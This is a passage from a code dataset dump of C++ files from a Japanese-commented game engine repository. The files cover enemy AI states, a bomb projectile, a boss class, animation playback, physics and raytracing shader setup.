Zako_ExplosionMonster::Execute()\n{\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n\n\t//体力がなくなったら死亡ステートへ遷移\n\tif (m_ability.hp <= 0) {\n\t\tSetState(m_stateMap[TO_INT(IEnemy::EnState::enDeadState)]);\n\t}\n}\n\nvoid Zako_ExplosionMonster::Terminate()\n{\n\tDeleteGO(m_model);\n}"
},
{
"alpha_fraction": 0.6958882808685303,
"alphanum_fraction": 0.6989914774894714,
"avg_line_length": 20.483333587646484,
"blob_id": "44bf291af8e33b74443cce548559206e5556885b",
"content_id": "98d8d538df6873c5058755e19800206fc7767b1f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1289,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 60,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleePunchState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyMeleePunchState.h\"\n#include \"../../EnemyManager.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Boss/BossA.h\"\n\nEnemyMeleePunchState::EnemyMeleePunchState() {\n\n}\n\nEnemyMeleePunchState::~EnemyMeleePunchState() {\n\n}\n\nvoid EnemyMeleePunchState::Enter(IEnemy* e) {\n\n\tm_canExecute = true;\n\n\tif (e->GetAbility().stamina < m_cost) {\n\t\tm_canExecute = false;\n\t\treturn;\n\t}\n\n\te->PlayAnimation(IEnemy::EnAnimation::enAttackA);\n\n\te->UseStamina(m_cost);\n\n\tm_timer = 0.f;\n\t//e->playAttackAnimation();\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tplayer->ApplyDamage(m_damageAmount);\n\tauto punchSE = NewGO<CSoundSource>(0);\n\tpunchSE->Init(L\"Assets/sound/chara/punch_2_1.wav\", false);\n\tpunchSE->Play(false);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy dash punch state\\n\");\n#endif\n}\n\nIEnemyState* EnemyMeleePunchState::Update(IEnemy* e) {\n\n\tif (!m_canExecute) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\tm_timer += gameTime()->GetDeltaTime();\n\tif (m_timer >= m_intervalSec) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\treturn this;\n}\n\nvoid EnemyMeleePunchState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy dush punch state\\n\");\n#endif\n}\n"
},
{
"alpha_fraction": 0.6514863967895508,
"alphanum_fraction": 0.6571789979934692,
"avg_line_length": 19.802631378173828,
"blob_id": "1ca80a75362c52c9393f39edc9a940c9e6237da4",
"content_id": "28f2b738428341c60b94dc2e4b5e33e1ae05f587",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1935,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 76,
"path": "/Game/Enemy/Equipment/Enemy_LaunchBomb.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\nclass ExplosionEffect;\n/// <summary>\n/// \n/// </summary>\nclass Enemy_LaunchBomb :public GameObject\n{\npublic:\n\tEnemy_LaunchBomb();\n\tvirtual ~Enemy_LaunchBomb();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// \n\t/// </summary>\n\t/// <param name=\"pos\"></param>\n\t/// <param name=\"fireVelo\">出る方向</param>\n\t/// <param name=\"size\">弾のサイズの半径</param>\n\t/// <param name=\"fireRange\">攻撃判定の半径</param>\n\t/// <param name=\"damage\"></param>\n\t/// <param name=\"power\">吹っ飛びの強さ</param>\n\tvoid Init(const Vector3& pos,const Vector3& fireVelo,float size,float fireRange,float damage,float power);\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\nprivate:\n\tModelRender* m_model;\n\tSphereCollider m_coll;\n\tSphereCollider m_fireColl;\n\tRigidBody m_rigidBody;\n\tGhostObject m_ghost;\n\tVector3 m_velo = Vector3::Zero;\n\tExplosionEffect* m_effect;\n\n\tbool m_isDestroy = false;\n\tbool m_isHit = false;\n\tVector3 m_hitPos = Vector3::Zero;\n\n\tfloat m_fireRange = 0.f;\n\tfloat m_damage = 0.f;\n\tfloat m_power = 0.f;\n};\n"
},
{
"alpha_fraction": 0.6770623922348022,
"alphanum_fraction": 0.690643846988678,
"avg_line_length": 18.8799991607666,
"blob_id": "5572a29ca99f739059d2f175eea668e37947e9e7",
"content_id": "d4568aff37ddb1e0eb90fa338128bde42b57a94b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1988,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 100,
"path": "/Game/Enemy/Boss/BossA.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IEnemy.h\"\n#include \"../../Player/Player.h\"\n#include \"physics/SphereCollider.h\"\n#include \"Effect/ExplosionEffect.h\"\nclass JetEffect;\n\nclass BossA :public IEnemy\n{\npublic:\n\tvoid Init() override;\n\tvoid InitState() override;\n\tvoid Execute() override;\n\tvoid ExecuteCommon() override;\n\tvoid Terminate() override;\n\tvoid SpawnDropItem() override;\n\n\tPlayer::EnAttackType GetDropID() override{\n\t\treturn Player::EnAttackType::enRemoteAttackPreset;\n\t}\n\n\tvoid PlayAnimation(const EnAnimation& anim, const float interpolate = 0.2f) override{\n\t\tm_model->Play(static_cast<int>(anim), interpolate);\n\t}\n\n\tvoid PlayAnimation(const int animNo, const float interpolate = 0.2f) override{\n\t\tm_model->Play(animNo, interpolate);\n\t}\n\n\tenum class EnState {\n\t\tenFlyState = TO_INT(IEnemy::EnState::enNumState),\n\t\tenTeleportation,\n\t\tenPunch,\n\t\tenDashPunch,\n\t\tenOverheat,\n\t\tenThrusterAttack,\n\t\tenNumState\n\t};\n\n\tenum class EnAnimEx\n\t{\n\t\tenAngry = TO_INT(IEnemy::EnAnimation::enNumAnim),\n\n\t\tenNum\n\t};\n\n\t//Effect\n\tenum class EnJetBone {\n\t\tElbowR,\n\t\tElbowL,\n\t\tThrusterR,\n\t\tThrusterL,\n\t\tBackR,\n\t\tBackL,\n\t\tSkirt,\n\t\t//HandR,\n\t\t//HandL,\n\t\tNumJetBone\n\t};\n\n\n\n\tvoid Performance()\n\t{\n\n\t\tif (GetCurrentState() == GetState(TO_INT(IEnemy::EnState::enDeadState))) {\n\t\t\tm_model->SetMulColor({ 0.f,0.f,0.f,1.f });\n\t\t}\n\t\telse {\n\t\t\tm_model->SetMulColor({ 20,1,1,1 });\n\t\t}\n\n\t}\n\n\tvoid Explode() override {\n\t\tauto forward = GetForward();\n\t\tforward *= -30.f;\n\t\tm_explodeEffect->SetPos(m_position + forward);\n\t\t//m_explodeEffect->SetPos(Vector3::One);\n\t\tm_explodeEffect->Play();\n\t\tStopJetSE();\n\t\tauto explodeSe = NewGO<CSoundSource>(0);\n\t\texplodeSe->Init(L\"Assets/sound/chara/explosion.wav\", true);\n\t\texplodeSe->SetPosition(m_position);\n\t\texplodeSe->Play(false);\n\t}\n\nprivate:\n\n\t//Model\n\tconst Vector3 m_scale = { 1.f,1.f,1.f };\n\tCAnimationClip m_animClip[1];\n\n\t//Physics\n\tconst float m_radius = 5.5f;\n\tconst float m_height = 7.5f;\n\t//Hands\n\t//SphereCollider\t\tm_rightHandCollider;\n\t//const float m_HandRadius = 1.f;\n};\n"
},
{
"alpha_fraction": 0.7003811001777649,
"alphanum_fraction": 0.7055115699768066,
"avg_line_length": 27.429166793823242,
"blob_id": "231faa380081d7567b5d614dc970564bbed8b7d3",
"content_id": "efe5a8075cc6f4d754ed2aca87417adaf0abbfb3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7746,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 240,
"path": "/UsualEngineR/Graphics/AnimationPlayController.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "/*!\n * @brief\tアニメーション再生コントローラ。\n */\n\n#include \"PreCompile.h\"\n#include \"AnimationPlayController.h\"\n\n\nnamespace UER {\n\n\n\tvoid CAnimationPlayController::Init(Skeleton* skeleton, int footStepBoneNo)\n\t{\n\t\tm_footstepBoneNo = footStepBoneNo;\n\t\tint numBones = skeleton->GetNumBones();\n\t\t//ボーン行列をバシッと確保。\n\t\tm_boneMatrix.resize(numBones);\n\t\tm_skeleton = skeleton;\n\t}\n\n\tvoid CAnimationPlayController::InvokeAnimationEvent(CAnimation* animation)\n\t{\n\t\tauto& animEventArray = m_animationClip->GetAnimationEvent();\n\t\tfor (auto i = 0; i < m_animationClip->GetNumAnimationEvent(); i++) {\n\t\t\tif (m_time > animEventArray[i].GetInvokeTime()\n\t\t\t\t&& animEventArray[i].IsInvoked() == false) {\n\t\t\t\t//アニメーションの起動時間を過ぎている且つ、まだイベント起動していない。\n\t\t\t\tanimation->NotifyAnimationEventToListener(\n\t\t\t\t\tm_animationClip->GetName(), animEventArray[i].GetEventName()\n\t\t\t\t);\n\t\t\t\tanimEventArray[i].SetInvokedFlag(true);\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid CAnimationPlayController::StartLoop()\n\t{\n\t\tm_footstepPos = g_vec3Zero;\n\t\tm_currentKeyFrameNo = 0;\n\t\tm_time = 0.0f;\n\t\t//アニメーションイベントをすべて未発生にする。\n\t\tauto& animEventArray = m_animationClip->GetAnimationEvent();\n\t\tfor (auto i = 0; i < m_animationClip->GetNumAnimationEvent(); i++) {\n\t\t\tanimEventArray[i].SetInvokedFlag(false);\n\t\t}\n\t}\n\tvoid CAnimationPlayController::CalcBoneMatrixInRootBoneSpace(Bone& bone, const Matrix& parentMatrix)\n\t{\n\t\t//ワールド行列を計算する。\n\t\tauto& mBoneInRootSpace = m_boneMatrix[bone.GetNo()];\n\t\tconst Matrix& localMatrix = m_boneMatrix[bone.GetNo()];\n\t\t//親の行列とローカル行列を乗算して、ワールド行列を計算する。\n\t\tmBoneInRootSpace = localMatrix * parentMatrix;\n\n\t\t//子供のワールド行列も計算する。\n\t\tfor (auto& childBone : bone.GetChildren()) {\n\t\t\tCalcBoneMatrixInRootBoneSpace(*childBone, mBoneInRootSpace);\n\t\t}\n\t}\n\tvoid CAnimationPlayController::SamplingBoneMatrixFromAnimationClip()\n\t{\n\t\tconst auto& keyFramePtrListArray = m_animationClip->GetKeyFramePtrListArray();\n\t\tconst auto& topBoneKeyFrameList = m_animationClip->GetTopBoneKeyFrameList();\n\n\t\tfloat lastFrameTime = 0.f;\n\t\t//float lastFrameTime = topBoneKeyFrameList[m_currentKeyFrameNoLastFrame]->time;\n\t\tif(m_lastKeyFrameNo >= topBoneKeyFrameList.size()) //たまに飛び出ちゃうので、その時は最初のやつを使う。\n\t\t\t//lastFrameTime = topBoneKeyFrameList[0]->time;\n\t\t\tlastFrameTime = topBoneKeyFrameList[m_currentKeyFrameNoLastFrame]->time;\n\t\telse\n\t\t\tlastFrameTime = topBoneKeyFrameList[m_lastKeyFrameNo]->time;\n\t\tfloat frameTime = topBoneKeyFrameList[m_currentKeyFrameNo]->time - lastFrameTime;\n\n\t\tfloat time = m_time - lastFrameTime;\n\n\t\tfloat rate;\n\t\tif (frameTime != 0.f)\n\t\t\trate = time / frameTime;\n\t\telse\n\t\t\trate = 0.f;\n\n\n\t\tfor (const auto& keyFrameList : keyFramePtrListArray) {\n\t\t\tif (keyFrameList.size() == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t//現在再生中のキーフレームを取ってくる。\n\t\t\tKeyFrame* keyframe = keyFrameList.at(m_currentKeyFrameNo);\n\t\t\t\n\t\t\t//auto lastKeyframe = keyFrameList.at(m_currentKeyFrameNoLastFrame);\n\t\t\tKeyFrame* lastKeyframe;\n\t\t\tif(m_lastKeyFrameNo >= keyFrameList.size())\n\t\t\t\tlastKeyframe = keyFrameList.at(m_currentKeyFrameNoLastFrame);\n\t\t\telse\n\t\t\t\tlastKeyframe = keyFrameList.at(m_lastKeyFrameNo);\n\n\t\t\tMatrix transform;\n\t\t\tconst Matrix& lastTra = lastKeyframe->transform;\n\t\t\tconst Matrix& currTra = keyframe->transform;\n\t\t\t\n\t\t\tVector3 lpos(lastTra.GetTransrate()), pos(currTra.GetTransrate());\n\t\t\tVector3 lsca(lastTra.GetScale()), sca(currTra.GetScale());\n\t\t\tQuaternion lrot(lastTra.GetRotate()), rot(currTra.GetRotate());\n\n\t\t\tpos.Lerp(rate, lpos, pos);\n\t\t\tsca.Lerp(rate, lsca, sca);\n\t\t\trot.Slerp(rate, lrot, rot);\n\n\t\t\tMatrix msca, mrot;\n\t\t\tmsca.MakeScaling(sca);\n\t\t\tmrot.MakeRotationFromQuaternion(rot);\n\n\t\t\ttransform.Multiply(msca, mrot);\n\t\t\ttransform.SetTranspose(pos);\n\t\t\t\n\t\t\t//m_boneMatrix[keyframe->boneIndex] = keyframe->transform;\n\t\t\tm_boneMatrix[keyframe->boneIndex] = transform;\n\t\t}\n\t}\n\tvoid CAnimationPlayController::CalcBoneMatrixInRootBoneSpace()\n\t{\n\t\tint numBone = m_skeleton->GetNumBones();\n\t\tfor (int boneNo = 0; boneNo < numBone; boneNo++) {\n\t\t\t//ルートの骨を検索する。\n\t\t\tauto bone = m_skeleton->GetBone(boneNo);\n\t\t\tif (bone->GetParentBoneNo() != -1) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tCalcBoneMatrixInRootBoneSpace(*bone, g_matIdentity);\n\t\t\tbreak;\n\t\t}\n\t}\n\tvoid CAnimationPlayController::SamplingDeltaValueFootstepBone()\n\t{\n\t\tif (m_currentKeyFrameNoLastFrame == m_currentKeyFrameNo) {\n\t\t\t//キーフレームが進んでいない。\n\t\t\treturn;\n\t\t}\n\t\tif (m_footstepBoneNo == -1) {\n\t\t\treturn;\n\t\t}\n\t\tint numBone = m_skeleton->GetNumBones();\n\n\t\tfor (int boneNo = 0; boneNo < numBone; boneNo++) {\n\t\t\tauto bone = m_skeleton->GetBone(boneNo);\n\t\t\tif (m_footstepBoneNo == bone->GetNo()) {\n\t\t\t\tauto mat = m_boneMatrix[bone->GetNo()];\n\t\t\t\tVector3 footstepBonePos;\n\t\t\t\tfootstepBonePos.x = mat.m[3][0];\n\t\t\t\tfootstepBonePos.y = mat.m[3][1];\n\t\t\t\tfootstepBonePos.z = mat.m[3][2];\n\t\t\t\t//このフレームでのfootstepの移動量を計算する。\n\t\t\t\tm_footstepDeltaValue = footstepBonePos - m_footstepPos;\n\t\t\t\t//このフレームでのfootstepの座標を更新する。\n\t\t\t\tm_footstepPos = footstepBonePos;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tvoid CAnimationPlayController::SubtractFootstepbonePosFromAllBone()\n\t{\n\t\tif (m_footstepBoneNo == -1) {\n\t\t\treturn;\n\t\t}\n\t\tint numBone = m_skeleton->GetNumBones();\n\n\t\tfor (int boneNo = 0; boneNo < numBone; boneNo++) {\n\t\t\tauto bone = m_skeleton->GetBone(boneNo);\n\t\t\tm_boneMatrix[bone->GetNo()].m[3][0] -= m_footstepPos.x;\n\t\t\tm_boneMatrix[bone->GetNo()].m[3][1] -= m_footstepPos.y;\n\t\t\tm_boneMatrix[bone->GetNo()].m[3][2] -= m_footstepPos.z;\n\t\t}\n\t}\n\tvoid CAnimationPlayController::ProgressKeyframeNo(float deltaTime)\n\t{\n\t\t//1フレーム前のキーフレーム番号を記録しておく。\n\t\tm_currentKeyFrameNoLastFrame = m_currentKeyFrameNo;\n\n\t\tconst auto& topBoneKeyFrameList = m_animationClip->GetTopBoneKeyFrameList();\n\n\t\t//補完時間も進めていく。\n\t\tm_interpolateTime = min(1.0f, m_interpolateTime + deltaTime);\n\t\twhile (true) {\n\t\t\tif (m_currentKeyFrameNo >= (int)topBoneKeyFrameList.size()) {\n\t\t\t\t//終端まで行った。\n\t\t\t\tif (m_animationClip->IsLoop()) {\n\t\t\t\t\t//ループ。\n\t\t\t\t\tStartLoop();\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t//ワンショット再生。\n\t\t\t\t\tm_currentKeyFrameNo--;\n\t\t\t\t\tm_isPlaying = false;\t//再生終わり。\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (topBoneKeyFrameList.at(m_currentKeyFrameNo)->time >= m_time) {\n\t\t\t\t//終わり。\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t//次へ。\n\t\t\tm_currentKeyFrameNo++;\n\t\t}\n\t\tif (m_currentKeyFrameNo != m_currentKeyFrameNoLastFrame || !m_isPlaying)\n\t\t{\n\t\t\tm_lastKeyFrameNo = m_currentKeyFrameNoLastFrame;\n\t\t}\n\t}\n\tvoid CAnimationPlayController::Update(float deltaTime, CAnimation* animation)\n\t{\n\t\tif(m_animationClip == nullptr){\n\t\t\t//TK_WARNING(\"m_animationClip is nullptr\\n\");\n\t\t\treturn ;\n\t\t}\n\n\t\tm_time += deltaTime;\n\t\t\n\t\t//アニメーションイベントの発生。\n\t\tInvokeAnimationEvent(animation);\n\t\t//キーフレーム番号を進める。\n\t\tProgressKeyframeNo(deltaTime);\n\t\t\n\t\t//ボーン行列をアニメーションクリップからサンプリングしていく。\n\t\tSamplingBoneMatrixFromAnimationClip();\n\t\t\n\t\t//親の骨座標系になっているボーン行列をルートのボーンの空間に変換していく。\n\t\t//CalcBoneMatrixInRootBoneSpace();\n\t\t\n\t\t//footstepボーンの移動量を取得する。\n\t\t//SamplingDeltaValueFootstepBone();\n\t\t\n\t\t//footstepボーンの移動量を全体の骨から減算する。\n\t\t//SubtractFootstepbonePosFromAllBone();\n\n\t\t//アニメーション再生した印をスケルトンにつける。\n\t\t//m_skeleton->SetMarkPlayAnimation();\n\n\t}\n\t\n}"
},
{
"alpha_fraction": 0.7295774817466736,
"alphanum_fraction": 0.7352112531661987,
"avg_line_length": 21.1875,
"blob_id": "b7043f8b8d323e55dcb499a2bc2b6b2caa724e87",
"content_id": "f56b9eae28b902aadbf55fb7f7bdd40317ad00a7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 355,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 16,
"path": "/Game/Enemy/State/MiddleBombState/BossBombGuardState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombGuardState final : public IEnemyState\n{\npublic:\n\tBossBombGuardState();\n\t~BossBombGuardState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tfloat m_timer = 0.;\n\tfloat m_timeLimit = 2.;\n};\n"
},
{
"alpha_fraction": 0.7083333134651184,
"alphanum_fraction": 0.7083333134651184,
"avg_line_length": 7.111111164093018,
"blob_id": "f90f399a38b052782bab2938120b8f9d504c3566",
"content_id": "bcf108482fb1b8806f8b11a3b050f7aab20c1af8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 72,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 9,
"path": "/UsualEngineR/Graphics/SampleSampler.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"SampleSampler.h\"\n\n\n\nnamespace UER\n{\n\n}"
},
{
"alpha_fraction": 0.7581227421760559,
"alphanum_fraction": 0.7581227421760559,
"avg_line_length": 22,
"blob_id": "2e4633eccfea37307c3ca8ca882f469c4d9f7cbd",
"content_id": "a6e9412ad397ba672d41ec192508bc534ee49002",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 277,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 12,
"path": "/Game/Enemy/State/EnemyBattleState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n\nclass EnemyBattleState final : public IEnemyState\n{\npublic:\n\tEnemyBattleState();\n\t~EnemyBattleState();\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\n};\n\n"
},
{
"alpha_fraction": 0.7292110919952393,
"alphanum_fraction": 0.7356076836585999,
"avg_line_length": 23.6842098236084,
"blob_id": "daf8ba535f02590a374af893717e111c96387481",
"content_id": "8cf552aa2c098ecd1c02cf8bb215dd3c694dacb3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 469,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 19,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanTakeDistanceState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass Boss_FatmanTakeDistanceState final : public IEnemyState\n{\npublic:\n\tBoss_FatmanTakeDistanceState();\n\t~Boss_FatmanTakeDistanceState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\tSphereCollider\t\tm_sphereCollider;\n\tconst float\t\t\tm_radius = 3.0f;\n\n\tCell*\t\t\t\tm_longDistLinkCell = nullptr;\n\tbool\t\t\t\tm_isArrival = false;\n\tint\t\t\t\t\tm_count = 0;\n};\n"
},
{
"alpha_fraction": 0.7085916996002197,
"alphanum_fraction": 0.7147918343544006,
"avg_line_length": 21.156862258911133,
"blob_id": "57cd2476c4a1af226996b78d25ecf4468f4d4cd8",
"content_id": "b1a03ebeb35f79f8fc65acf5ae8c154802d43c7b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1247,
"license_type": "no_license",
"max_line_length": 157,
"num_lines": 51,
"path": "/UsualEngineR/Physics/PhysicsStaticObject.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "/*!\n * @brief\t静的オブジェクト。\n */\n\n\n#include \"PreCompile.h\"\n#include \"physics/PhysicsStaticObject.h\"\n\nnamespace UER\n{\n\tPhysicsStaticObject::PhysicsStaticObject()\n\t{\n\t}\n\tPhysicsStaticObject::~PhysicsStaticObject()\n\t{\n\t\tif(m_isCreated)\n\t\t\tPhysics().RemoveRigidBody(m_rigidBody);\n\t}\n\n\tRigidBody* PhysicsStaticObject::CreateMeshObject(const Model& skinModel, const Vector3& pos, const Quaternion& rot, const Vector3& sca,bool isNotMainThread)\n\t{\n\t\tm_isCreated = true;\n\n\t\tMatrix mTra, mRot, mSca;\n\t\tmTra.MakeTranslation(pos);\n\t\tmRot.MakeRotationFromQuaternion(rot);\n\t\tmSca.MakeScaling(sca);\n\t\tMatrix mat;\n\t\tmat.Multiply(mSca, mRot);\n\t\tmat.Multiply(mat, mTra);\n\t\t//メッシュコライダーを作成。\n\t\tm_meshCollider.CreateFromSkinModel(skinModel, &mat);\n\t\t//剛体を作成、\n\t\tRigidBodyInfo rbInfo;\n\t\trbInfo.collider = &m_meshCollider; //剛体に形状(コライダー)を設定する。\n\t\trbInfo.mass = 0.0f;\n\t\trbInfo.pos = {0,0,0};\n\t\trbInfo.rot = g_quatIdentity;\n\t\t//rbInfo.sca = sca;\n\t\tm_rigidBody.Create(rbInfo);\n\t\tm_rigidBody.GetBody()->setUserIndex(enCollisionAttr_Ground);\n\n\t\tif (!isNotMainThread)\n\t\t{\n\t\t\t//剛体を物理ワールドに追加する。\n\t\t\tPhysics().AddRigidBody(m_rigidBody);\n\t\t}\n\n\t\treturn &m_rigidBody;\n\t}\n}"
},
{
"alpha_fraction": 0.5368421077728271,
"alphanum_fraction": 0.6140350699424744,
"avg_line_length": 13.300000190734863,
"blob_id": "ebb62a67549b30a61c56c7bf0ec78b90f2027ceb",
"content_id": "81fb2192ae744440f168a218de1b5b6d674ce0cf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 285,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 20,
"path": "/UsualEngineR/Graphics/Light/LightStruct.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tstruct SDirectionLight\n\t{\n\t\tVector3 dir = { 0,-1,0 };\n\t\tVector4 color = {1,1,1,1};\n\t};\n\tstruct SPointLight\n\t{\n\t\tVector3 pos = g_vec3Zero;\n\t\tVector3 posInView = g_vec3Zero;\n\t\tVector4 color = { 1,1,1,1 };\n\t\tfloat decay = 0.0;\n\t\tfloat radius = 10.f;\n\t};\n}"
},
{
"alpha_fraction": 0.7104554772377014,
"alphanum_fraction": 0.7364389300346375,
"avg_line_length": 31.203332901000977,
"blob_id": "a16c0c8283e5172e37e791057c8857eebb1b82ee",
"content_id": "df84286b72212680b22edd507b5cdce8e1542b6d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 11058,
"license_type": "no_license",
"max_line_length": 143,
"num_lines": 300,
"path": "/UsualEngineR/Graphics/RaytracingHelper.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n\nnamespace UER\n{\n\tconst int MAX_TRACE_RECURSION_DEPTH = 2;\t//レイトレースの再帰呼び出しの最大数。\n\t\t\t\t\t\t\t\t\t\t\t\t//これがTraceRayを再帰的に呼び出せる最大数です。\n\t\t\t\t\t\t\t\t\t\t\t\t//\n\t//ローカルルートシグネチャ\n\tenum ELocalRootSignature {\n\t\teLocalRootSignature_Empty,\t\t//空のローカルルートシグネチャ。\n\t\teLocalRootSignature_Raygen,\t\t//レイ生成用のローカルルートシグネチャ。\n\t\teLocalRootSignature_Model,\t\t//モデル用のローカルルートシグネチャ。\n\t};\n\t//シェーダー\n\tenum EShader {\n\t\teShader_Raygeneration,\t\t//カメラレイを生成するシェーダー。\n\t\teShader_Miss,\t\t\t\t//カメラレイがどこにもぶつからなかった時に呼ばれるシェーダー。\n\t\teShader_PBRChs,\t\t\t\t//もっとも近いポリゴンとカメラレイが交差したときに呼ばれるシェーダー。\n\t\teShader_ShadowChs,\t\t\t//もっとも近いポリゴンとシャドウレイが交差したときに呼ばれるシェーダー。\n\t\teShader_ShadowMiss,\t\t\t//シャドウレイがどこにもぶつからなかった時に呼ばれるシェーダー。\n\t\teShader_Num,\t\t\t\t//シェーダーの数。\n\t};\n\t//シェーダーのカテゴリ。\n\tenum EShaderCategory {\n\t\teShaderCategory_RayGenerator,\t//レイを生成するシェーダー。\n\t\teShaderCategory_Miss,\t\t\t//ミスシェーダー。\n\t\teShaderCategory_ClosestHit,\t\t//もっとも近いポリゴンとレイが交差したときに呼ばれるシェーダー。\n\t};\n\n\t//ヒットグループ。\n\tenum EHitGroup {\n\t\teHitGroup_Undef = -1,\n\t\teHitGroup_PBRCameraRay,\t//PBRマテリアルにカメラレイが衝突するときのヒットグループ。\n\t\teHitGroup_PBRShadowRay,\t//PBRマテリアルにシャドウレイが衝突するときのヒットグループ。\n\t\teHitGroup_Num,\t\t\t//ヒットグループの数。\n\t};\n\t//シェーダーデータ構造体。\n\tstruct ShaderData {\n\t\tconst wchar_t* entryPointName;\t\t\t\t//エントリーポイントの名前。\n\t\tELocalRootSignature useLocalRootSignature;\t//使用するローカルルートシグネチャ。\n\t\tEShaderCategory category;\t\t\t\t\t//カテゴリー。\n\t\tEHitGroup hitgroup;\t\t\t\t\t\t\t//ヒットグループ。\n\t\t\t\t\t\t\t\t\t\t\t\t\t//カテゴリがeShaderCategory_Miss、eShaderCategory_RayGeneratorの場合、このパラメーターは無視されます。\n\t};\n\tconst ShaderData shaderDatas[] = {\n\t\t//entryPointName\tuseLocalRootSignature\t\t\tcategory\t\t\t\t\t\thitgroup\n\t\t{ L\"rayGen\",\t\teLocalRootSignature_Raygen,\t\teShaderCategory_RayGenerator,\teHitGroup_Undef },\n\t\t{ L\"miss\",\t\t\teLocalRootSignature_Empty,\t\teShaderCategory_Miss,\t\t\teHitGroup_Undef },\n\t\t{ L\"chs\",\t\t\teLocalRootSignature_Model,\t\teShaderCategory_ClosestHit,\t\teHitGroup_PBRCameraRay },\n\t\t{ L\"shadowChs\",\t\teLocalRootSignature_Empty,\t\teShaderCategory_ClosestHit,\t\teHitGroup_PBRShadowRay },\n\t\t{ 